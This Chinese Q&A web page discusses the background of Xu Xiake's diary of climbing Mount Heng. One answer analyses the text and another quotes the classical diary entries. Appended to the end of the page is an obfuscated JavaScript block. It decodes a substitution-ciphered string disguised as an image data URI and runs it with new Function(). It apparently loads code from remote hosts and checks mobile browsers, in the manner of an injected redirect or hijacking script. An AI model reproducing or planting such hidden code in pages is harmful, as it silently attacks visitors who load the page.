游恒山记的写作背景

2025-01-22 12:01:40
推荐回答(2个)
回答1:

第一段略写出发的时间和天气情况。叙述中有描写,“风翳净尽,澄碧如洗”,真是一个无风无云的好天气。
第二段详写上山登顶的经过。景物、地名,以及相隔的距离都写得极为详尽。其景物、地名大致有望仙亭、虎风口、“朔方第一山”牌坊、寝宫、飞石窟、北岳殿、会仙台等处,作者一步一景,描写生动,娓娓道来。虽是简笔,也各有特色。如:写松,则“松影筛阴”;写北岳殿,是“上负绝壁,下临官廨,殿下云级插天……”;写会仙台,“台中像群仙,环列无隙”。景物的形象,活现于笔下,读后如历历在目。登顶的经过写得最详。写其险峻,“两崖断处,中垂草莽者千尺”,“出危崖上,仰眺绝顶,犹杰然天半”;写其难攀,“满山短树蒙密,槎材枯竹,但能钩衣刺领,攀践辄断折,用力虽勤,若堕洪涛,汩汩不能出”,可见登顶之不易。然而,“余益鼓勇上,久之棘尽,始登其顶”。一位地理学家、旅行家为亲历祖国山河,踏勘地貌、景观所表现的精神,由此可见。
第三段写登顶后远眺所见之景。先写了山北的特点:“是山土山无树,石山则有。北向俱石,故树皆在北。”此种现象,后来有人解释,山西干旱少雨,山南向阳多蒸发,虽土山也少有树;山北是阴坡,化雪时间长,又少蒸发,所以较湿润,虽然多石,也长了许多树木。这种分析是科学的,徐霞客观察细致、准确,却没有作深入的解释,略感遗憾。山北还有浑源城,一笔带过。向南看,“南惟龙泉”;向西看,“西惟五台”。两山一派青色,跟恒山做伴。还有“西亘”的龙山,“支峰东连”。这样就把恒山的地理位置写清楚了,整个山系一目了然。
第四段写从西峰下山,至飞石窟的情况。上山难,下山更难。竟然一时找不到下山的路径。“忽回首东顾,有一人飘摇于上,因复上其处问之,指东南松柏间,望而趋,乃上时寝宫后危崖顶。”这才找到上山时的原路。下山也在观察,发现先前从山顶远望松柏林,“如蒜叶草茎,至此则合抱参天,虎风口之松柏,不啻百倍之也。”真是视角不同,距离不同,所见景物大有出入。按照路人所指,很快就到了飞石窟。查《徐霞客游记》,此后还有几句,记由悬空寺危崖,至浑源州西关,游恒山历时三日(九、十、十一日)至此结束。此节选选的是十一日登恒山主峰的日记。

回答2:

初九那一天,我到南山去,大的溪流从山中流出来向西流去。余北驰平陆中,望外界之山,高不及台山十之四;其长缭绕如垣,东带平型,西接雁门,横而径者十五里。北抵山麓,渡沙河,即为沙河堡;依山瞰流,砖瓦高整。由堡西北七十里,出小石口,为大同西道;直北六十里,出北路口,为大同东道。余从堡后登山,东北数里,至峡口,有水自北而南,即下注沙河者也。循水入峡,与流屈曲,荒谷绝人。数里,义兴寨,数里,朱家坊,又数里,至葫芦嘴,舍涧登山,循嘴而上,地复成坞。溪流北行,为浑源界。又数里,为土岭,去州尚六十里,西南去沙河共五十里矣。遂止居民同姓家。
初十日,循南来之涧,北去三里,有涧自西来合,共东北折而去。余溯西涧入,又一涧自北来,遂从其西登岭,道甚峻。北向直上者六七里;西转,又北跻而上者五六里;登峰两重,造其巅,是名箭(竹旱)岭。自沙河登山涉涧,盘旋山谷,所值皆土魁荒阜;不意至此而忽跻穹窿,然岭南犹复阿蒙也。一逾岭北,瞰东西峰连壁聩,翠蜚丹流;其盘空环映者,皆石也,而石又皆树;石之色一也,而神埋又各分妍,树之色不一也,而错综又成合锦。石得树而嵯峨倾嵌者,(巾莫)以藻绘而愈奇,树得石而平铺倒蟠者,缘以突兀而尢古。如此五十里,直下至(卩亢)底,则奔泉一壑,自南注北,遂与之俱出坞口,是名龙峪口,堡临之。村居颇盛,皆植梅杏,成林蔽麓。既出谷,复得平陆。其北又有外界山环之,长亦自东而西,东去浑源州三十里,西去应州七十里。龙峪之临外界,高卑远近,一如东底山之视沙河、峡口诸山也。于是沿山东向。望峪之东,山愈嶙(山曾)斗峭,问知为龙山。龙山之名,旧著于山西,而不知与恒岳比肩;至是既西涉其阃域,又北览其面目,从不意中得之,可当五台桑榆之收矣。东行十里,为龙山大云寺,寺南面向山。又东十里,有大道往西北,直抵恒山之麓,遂折而从之,去山麓尚十里。望其山两峰互峙,车骑接轸,破壁而出,乃大同入倒马、紫荆大道也。循之抵山下,两崖壁立,一涧中流,透罅而入,逼仄如无所向,曲折上下,俱成窈窕,伊阙双峰、武彝九曲,俱不足以拟之也。时清流未泛,行即溯涧。不知何年两崖俱凿石坎,大四、五尺,深及丈,上下排列,想水溢时,插木为阁道者,今废已久,仅存二木悬架高处,独栋梁之巨擘也。三转,峡愈隘,崖愈高。西崖之半,层楼高悬,曲榭斜倚,望之蜃吐重台者,悬空寺也。五台北壑,亦有悬空寺,拟此未能具体。仰之神飞,鼓勇独登。入则楼阁高下,槛路屈曲,崖既矗削,为天下巨观,而寺之点缀,兼能尽生,依岩结构,而不为岩石累者仅此;而僧寮位置适序,凡客坐禅龛,明窗暖榻,寻丈之间,肃然中雅。既下,又行峡中者三四转,则洞门豁然,峦壑掩映,若别有一天者。又一里,涧东有门榜三重,高列阜上。其下石级数百层承之,则北岳恒山庙之山门也。去庙尚十里,左右皆土山层叠,岳顶杳不可见。止门侧土人家,为明日登顶计。
十一日,风翳净尽,澄碧如洗。策杖登岳,面东而上,土冈浅阜,无攀跻劳。盖山自龙泉来,凡三重:龙泉一重峭削在内,而关以外反土脊平旷;五台一重虽崇峻,而骨耸拔,俱在东底山一带出峪之处;其第三重自峡口入山而北,西极龙山之顶,东至恒岳之阳,亦皆藏锋敛锷,一临北面,则峰峰陡削,悉现岩岩本色。一里,转北,山皆煤炭,不深凿即可得。又一里,则土石皆赤。有虬松离立道旁,亭曰望仙。又三里,则崖石渐起,松影筛阴,是名虎风口。于是石路萦回,绐循崖乘峭而上。三里,有杰坊曰"朔方第一山",内则官廨厨井俱备。坊右东向拾级上,崖半为寝宫,宫北为飞石窟,相传真定府恒山从此飞去。再上则北岳殿也,上负绝壁,下临官廨,殿下云级插天,庑门上下,穹碑森立。从殿右上,有石窟倚而室之,曰会仙台。台中像群仙,环列无隙。余时欲跻危崖,登绝顶。还过岳殿东,望两崖断处,中垂草莽者千尺,为登顶间道,遂解衣攀蹑而登。二里,出危崖上,仰眺绝顶,犹杰然天半,而满山短树蒙密,搓(木牙)枯竹,但能钩衣刺领,攀践辄断折,用力虽勤,若堕洪涛,汩汩不能出。余益鼓勇上,久之棘尽,始登其顶。时日色澄丽,俯瞰山北,崩崖乱坠,杂树密翳。是山土山无树,石山则有;北向俱石,故树皆在北。浑源州城一方,即在山麓,北瞰隔山一重,苍茫无际;南惟龙泉,西惟五台,青青与此作伍;近则龙山西亘,支峰东连,若比肩连袂,下扼沙漠者。既而下西峰,寻前入峡危崖,俯瞰茫茫,不敢下。忽回首东顾,有一人飘摇于上,因复上其处问之,指东南松拍间。望而趋,乃上时寝宫后危崖顶。未几果得径,南经松柏林,先从顶上望松柏葱青,如蒜叶草茎,至此则合抱参天;虎风口之松柏,不啻百倍之也。从崖隙直下,恰在寝宫之右,即飞石窟也。视余前上隘,中止隔崖一片耳。下山五里,由悬空寺危崖出,又十五里,至浑源州西关外。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();